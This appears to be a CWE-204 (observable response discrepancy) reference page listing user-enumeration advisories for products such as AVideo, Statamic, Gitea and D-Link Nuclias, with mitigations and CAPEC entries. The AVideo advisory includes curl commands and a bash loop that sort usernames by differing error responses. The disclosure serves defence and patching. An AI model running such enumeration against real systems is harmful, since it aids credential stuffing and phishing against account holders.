CWE-204
AllowedObservable Response Discrepancy
Abstraction: Base · Status: Incomplete
The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.
297 vulnerabilities reference this CWE, most recent first.
GHSA-JVQ2-W86Q-PW44
Vulnerability from github – Published: 2023-05-30 21:30 – Updated: 2024-04-04 04:23Avaya IX Workforce Engagement v15.2.7.1195 - User Enumeration - Observable Response Discrepancy
{
"affected": [],
"aliases": [
"CVE-2023-31186"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-30T20:15:10Z",
"severity": "MODERATE"
},
"details": "Avaya IX Workforce Engagement v15.2.7.1195 - User Enumeration - Observable Response Discrepancy",
"id": "GHSA-jvq2-w86q-pw44",
"modified": "2024-04-04T04:23:59Z",
"published": "2023-05-30T21:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31186"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M24V-F7G5-GQ67
Vulnerability from github – Published: 2026-05-06 20:54 – Updated: 2026-05-13 16:42Impact
Responses from the forgot password forms hinted at whether an account existed for a given email address. An unauthenticated attacker could use this to enumerate valid users, which can aid in follow-up credential-based attacks.
Patches
This has been fixed in 5.73.21 and 6.15.0. The forgot password forms now return the same generic response regardless of whether the submitted email matches a registered user.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "statamic/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.73.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "statamic/cms"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44306"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:54:31Z",
"nvd_published_at": "2026-05-12T22:16:37Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nResponses from the forgot password forms hinted at whether an account existed for a given email address. An unauthenticated attacker could use this to enumerate valid users, which can aid in follow-up credential-based attacks.\n\n### Patches\n\nThis has been fixed in 5.73.21 and 6.15.0. The forgot password forms now return the same generic response regardless of whether the submitted email matches a registered user.",
"id": "GHSA-m24v-f7g5-gq67",
"modified": "2026-05-13T16:42:52Z",
"published": "2026-05-06T20:54:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/statamic/cms/security/advisories/GHSA-m24v-f7g5-gq67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44306"
},
{
"type": "PACKAGE",
"url": "https://github.com/statamic/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Statamic CMS vulnerable to email enumeration via forgot password endpoint"
}
GHSA-M99F-MMVG-3XMX
Vulnerability from github – Published: 2026-03-25 19:53 – Updated: 2026-03-25 19:53Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
- Line 11 — A
Userobject is instantiated from unsanitized$_REQUEST['user']with no authentication:
$user = new User(0, $_REQUEST['user'], false);
- Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
$obj->error = __("User not found");
die(json_encode($obj));
}
- Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
$obj->error = __("The user is not active");
die(json_encode($obj));
}
- Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
} else {
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"
# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"
# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"
# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d "user=${user}&captcha=")
error=$(echo "$result" | jq -r .error)
if [ "$error" = "Captcha is empty" ]; then
echo "[ACTIVE] $user"
elif [ "$error" = "The user is not active" ]; then
echo "[INACTIVE] $user"
else
echo "[NOT FOUND] $user"
fi
done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
- Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
- Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
- Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
- No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the user existence checks, and return a generic message regardless of user status:
// In objects/userRecoverPass.php, replace lines 26-41 with:
header('Content-Type: application/json');
// Validate captcha FIRST, before any user lookups
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
die(json_encode($obj));
}
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if (!$valid) {
$obj->error = __("Your code is not valid");
$obj->reloadCaptcha = true;
die(json_encode($obj));
}
// After captcha passes, check user — but use generic message
if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
// Generic message — do not reveal whether user exists or is active
$obj->success = __("If this account exists, a recovery email has been sent");
die(json_encode($obj));
}
// Proceed with actual password recovery...
$recoverPass = $user->setRecoverPass();
Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33688"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:53:00Z",
"nvd_published_at": "2026-03-23T19:16:42Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned \u2014 at scale and without solving any captcha \u2014 by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** \u2014 A `User` object is instantiated from unsanitized `$_REQUEST[\u0027user\u0027]` with no authentication:\n```php\n$user = new User(0, $_REQUEST[\u0027user\u0027], false);\n```\n\n2. **Lines 27-29** \u2014 If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user-\u003egetStatus())) {\n $obj-\u003eerror = __(\"User not found\");\n die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** \u2014 If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user-\u003egetStatus() !== \u0027a\u0027) {\n $obj-\u003eerror = __(\"The user is not active\");\n die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** \u2014 Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST[\u0027captcha\u0027])) {\n $obj-\u003eerror = __(\"Captcha is empty\");\n} else {\n require_once \u0027captcha.php\u0027;\n $valid = Captcha::validation($_REQUEST[\u0027captcha\u0027]);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status \u2014 all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework\u0027s session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user \u2014 returns \"User not found\" without captcha\ncurl -s -X POST \u0027http://localhost/AVideo/objects/userRecoverPass.php\u0027 \\\n -d \u0027user=nonexistent_user_xyz\u0026captcha=\u0027 | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user \u2014 passes user checks, hits captcha validation\ncurl -s -X POST \u0027http://localhost/AVideo/objects/userRecoverPass.php\u0027 \\\n -d \u0027user=admin\u0026captcha=\u0027 | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) \u2014 returns distinct status message\ncurl -s -X POST \u0027http://localhost/AVideo/objects/userRecoverPass.php\u0027 \\\n -d \u0027user=banned_user\u0026captcha=\u0027 | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script \u2014 no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n result=$(curl -s -X POST \u0027http://localhost/AVideo/objects/userRecoverPass.php\u0027 \\\n -d \"user=${user}\u0026captcha=\")\n error=$(echo \"$result\" | jq -r .error)\n if [ \"$error\" = \"Captcha is empty\" ]; then\n echo \"[ACTIVE] $user\"\n elif [ \"$error\" = \"The user is not active\" ]; then\n echo \"[INACTIVE] $user\"\n else\n echo \"[NOT FOUND] $user\"\n fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n header(\u0027Content-Type: application/json\u0027);\n\n // Validate captcha FIRST, before any user lookups\n if (empty($_REQUEST[\u0027captcha\u0027])) {\n $obj-\u003eerror = __(\"Captcha is empty\");\n die(json_encode($obj));\n }\n require_once \u0027captcha.php\u0027;\n $valid = Captcha::validation($_REQUEST[\u0027captcha\u0027]);\n if (!$valid) {\n $obj-\u003eerror = __(\"Your code is not valid\");\n $obj-\u003ereloadCaptcha = true;\n die(json_encode($obj));\n }\n\n // After captcha passes, check user \u2014 but use generic message\n if (empty($user-\u003egetStatus()) || $user-\u003egetStatus() !== \u0027a\u0027 || empty($user-\u003egetEmail())) {\n // Generic message \u2014 do not reveal whether user exists or is active\n $obj-\u003esuccess = __(\"If this account exists, a recovery email has been sent\");\n die(json_encode($obj));\n }\n\n // Proceed with actual password recovery...\n $recoverPass = $user-\u003esetRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.",
"id": "GHSA-m99f-mmvg-3xmx",
"modified": "2026-03-25T19:53:00Z",
"published": "2026-03-25T19:53:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33688"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint"
}
GHSA-MQF8-4CQM-P83X
Vulnerability from github – Published: 2024-02-08 06:30 – Updated: 2024-02-08 18:30Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 18, and older unsupported versions returns with different responses depending on whether a site does not exist or if the user does not have permission to access the site, which allows remote attackers to discover the existence of sites by enumerating URLs. This vulnerability occurs if locale.prepend.friendly.url.style=2 and if a custom 404 page is used.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.portal.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0"
},
{
"fixed": "7.3.10.u4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay.portal:release.dxp.bom"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.2.10.fp18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25146"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-08T18:30:36Z",
"nvd_published_at": "2024-02-08T04:15:08Z",
"severity": "MODERATE"
},
"details": "Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 18, and older unsupported versions returns with different responses depending on whether a site does not exist or if the user does not have permission to access the site, which allows remote attackers to discover the existence of sites by enumerating URLs. This vulnerability occurs if locale.prepend.friendly.url.style=2 and if a custom 404 page is used.",
"id": "GHSA-mqf8-4cqm-p83x",
"modified": "2024-02-08T18:30:36Z",
"published": "2024-02-08T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25146"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25146"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Liferay Portal allows attackers to discover the existence of sites"
}
GHSA-MR7P-FQX6-72V7
Vulnerability from github – Published: 2025-10-16 21:31 – Updated: 2025-10-30 18:31D-Link Nuclias Connect firmware versions <= 1.3.1.4 contain an observable response discrepancy vulnerability. The application's 'Login' endpoint returns distinct JSON responses depending on whether the supplied username is associated with an existing account. Because the responses differ in the error.messagestring value, an unauthenticated remote attacker can enumerate valid usernames/accounts on the server. NOTE: D-Link states that a fix is under development.
{
"affected": [],
"aliases": [
"CVE-2025-34254"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-16T19:15:32Z",
"severity": "MODERATE"
},
"details": "D-Link Nuclias Connect firmware versions \u003c= 1.3.1.4 contain an observable response discrepancy vulnerability.\u00a0The application\u0027s \u0027Login\u0027 endpoint returns distinct JSON responses depending on whether the supplied username is associated with an existing account. Because the responses differ in the `error.message`string value, an unauthenticated remote attacker can enumerate valid usernames/accounts on the server.\u00a0NOTE: D-Link states that a fix is under development.",
"id": "GHSA-mr7p-fqx6-72v7",
"modified": "2025-10-30T18:31:07Z",
"published": "2025-10-16T21:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34254"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10472"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/for-business/nuclias/nuclias-connect"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dlink-nuclias-connect-login-account-enumeration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MWVC-VGG7-3665
Vulnerability from github – Published: 2022-09-15 00:00 – Updated: 2022-09-15 00:00A remote, unauthenticated attacker can enumerate valid users by sending specific requests to the webservice of MB connect line mymbCONNECT24, mbCONNECT24 and Helmholz myREX24 and myREX24.virtual in all versions through v2.11.2.
{
"affected": [],
"aliases": [
"CVE-2022-22520"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-14T14:15:00Z",
"severity": "HIGH"
},
"details": "A remote, unauthenticated attacker can enumerate valid users by sending specific requests to the webservice of MB connect line mymbCONNECT24, mbCONNECT24 and Helmholz myREX24 and myREX24.virtual in all versions through v2.11.2.",
"id": "GHSA-mwvc-vgg7-3665",
"modified": "2022-09-15T00:00:19Z",
"published": "2022-09-15T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22520"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2022-011"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2022-039"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P436-PGQ7-FM99
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31Vulnerability in the MySQL Shell product of Oracle MySQL (component: Shell: Core Client). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where MySQL Shell executes to compromise MySQL Shell. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Shell. CVSS 3.1 Base Score 5.0 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-34319"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:37Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Shell product of Oracle MySQL (component: Shell: Core Client). Supported versions that are affected are 8.0.0-8.0.45, 8.4.0-8.4.8 and 9.0.0-9.6.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where MySQL Shell executes to compromise MySQL Shell. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Shell. CVSS 3.1 Base Score 5.0 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H).",
"id": "GHSA-p436-pgq7-fm99",
"modified": "2026-04-21T21:31:27Z",
"published": "2026-04-21T21:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34319"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P8Q5-CVWX-WVWP
Vulnerability from github – Published: 2025-03-03 15:26 – Updated: 2025-04-09 20:01Impact
User enumeration in database authentication in Flask-AppBuilder <= 4.5.3 and werkzeug >= 3.0.0. Allows for a non authenticated user to enumerate existing usernames by timing the response time from the server when brute forcing requests to login.
Patches
Upgrade to flask-appbuilder>=4.5.3
Workarounds
Downgrade werkzeug to <3.0.0
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flask-appbuilder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-24023"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T15:26:03Z",
"nvd_published_at": "2025-03-03T16:15:41Z",
"severity": "LOW"
},
"details": "### Impact\nUser enumeration in database authentication in Flask-AppBuilder \u003c= 4.5.3 and werkzeug \u003e= 3.0.0. Allows for a non authenticated user to enumerate existing usernames by timing the response time from the server when brute forcing requests to login.\n\n### Patches\n\nUpgrade to flask-appbuilder\u003e=4.5.3\n\n### Workarounds\nDowngrade werkzeug to \u003c3.0.0\n\n### References\n_Are there any links users can visit to find out more?_",
"id": "GHSA-p8q5-cvwx-wvwp",
"modified": "2025-04-09T20:01:40Z",
"published": "2025-03-03T15:26:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dpgaspar/Flask-AppBuilder/security/advisories/GHSA-p8q5-cvwx-wvwp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24023"
},
{
"type": "PACKAGE",
"url": "https://github.com/dpgaspar/Flask-AppBuilder"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/flask-appbuilder/PYSEC-2025-15.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flask-AppBuilder Observable Response Discrepancy"
}
GHSA-PC2Q-2R77-C6MP
Vulnerability from github – Published: 2025-01-11 09:30 – Updated: 2025-05-16 15:30HCL MyXalytics is affected by username enumeration vulnerability. This allows a malicious user to perform enumeration of application users, and therefore compile a list of valid usernames.
{
"affected": [],
"aliases": [
"CVE-2024-42174"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-204"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-11T07:15:09Z",
"severity": "LOW"
},
"details": "HCL MyXalytics is affected by username enumeration vulnerability. This allows a malicious user to perform enumeration of application users, and therefore\u00a0compile a list of valid usernames.",
"id": "GHSA-pc2q-2r77-c6mp",
"modified": "2025-05-16T15:30:32Z",
"published": "2025-01-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42174"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0118149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PC73-RJ2C-WVF9
Vulnerability from github – Published: 2026-01-01 06:30 – Updated: 2026-01-02 15:52In Gitea before 1.25.2, /api/v1/user has different responses for failed authentication depending on whether a username exists.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.25.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69413"
],
"database_specific": {
"cwe_ids": [
"CWE-204"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:52:49Z",
"nvd_published_at": "2026-01-01T05:16:03Z",
"severity": "MODERATE"
},
"details": "In Gitea before 1.25.2, /api/v1/user has different responses for failed authentication depending on whether a username exists.",
"id": "GHSA-pc73-rj2c-wvf9",
"modified": "2026-01-02T15:52:49Z",
"published": "2026-01-01T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69413"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/issues/35984"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/36002"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.25.2"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea\u0027s /api/v1/user endpoint has different responses for failed authentication depending on whether a username exists"
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
CAPEC-331: ICMP IP Total Length Field Probe
An adversary sends a UDP packet to a closed port on the target machine to solicit an IP Header's total length field value within the echoed 'Port Unreachable" error message. This type of behavior is useful for building a signature-base of operating system responses, particularly when error messages contain other types of information that is useful identifying specific operating system responses.
CAPEC-332: ICMP IP 'ID' Field Error Message Probe
An adversary sends a UDP datagram having an assigned value to its internet identification field (ID) to a closed port on a target to observe the manner in which this bit is echoed back in the ICMP error message. This allows the attacker to construct a fingerprint of specific OS behaviors.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.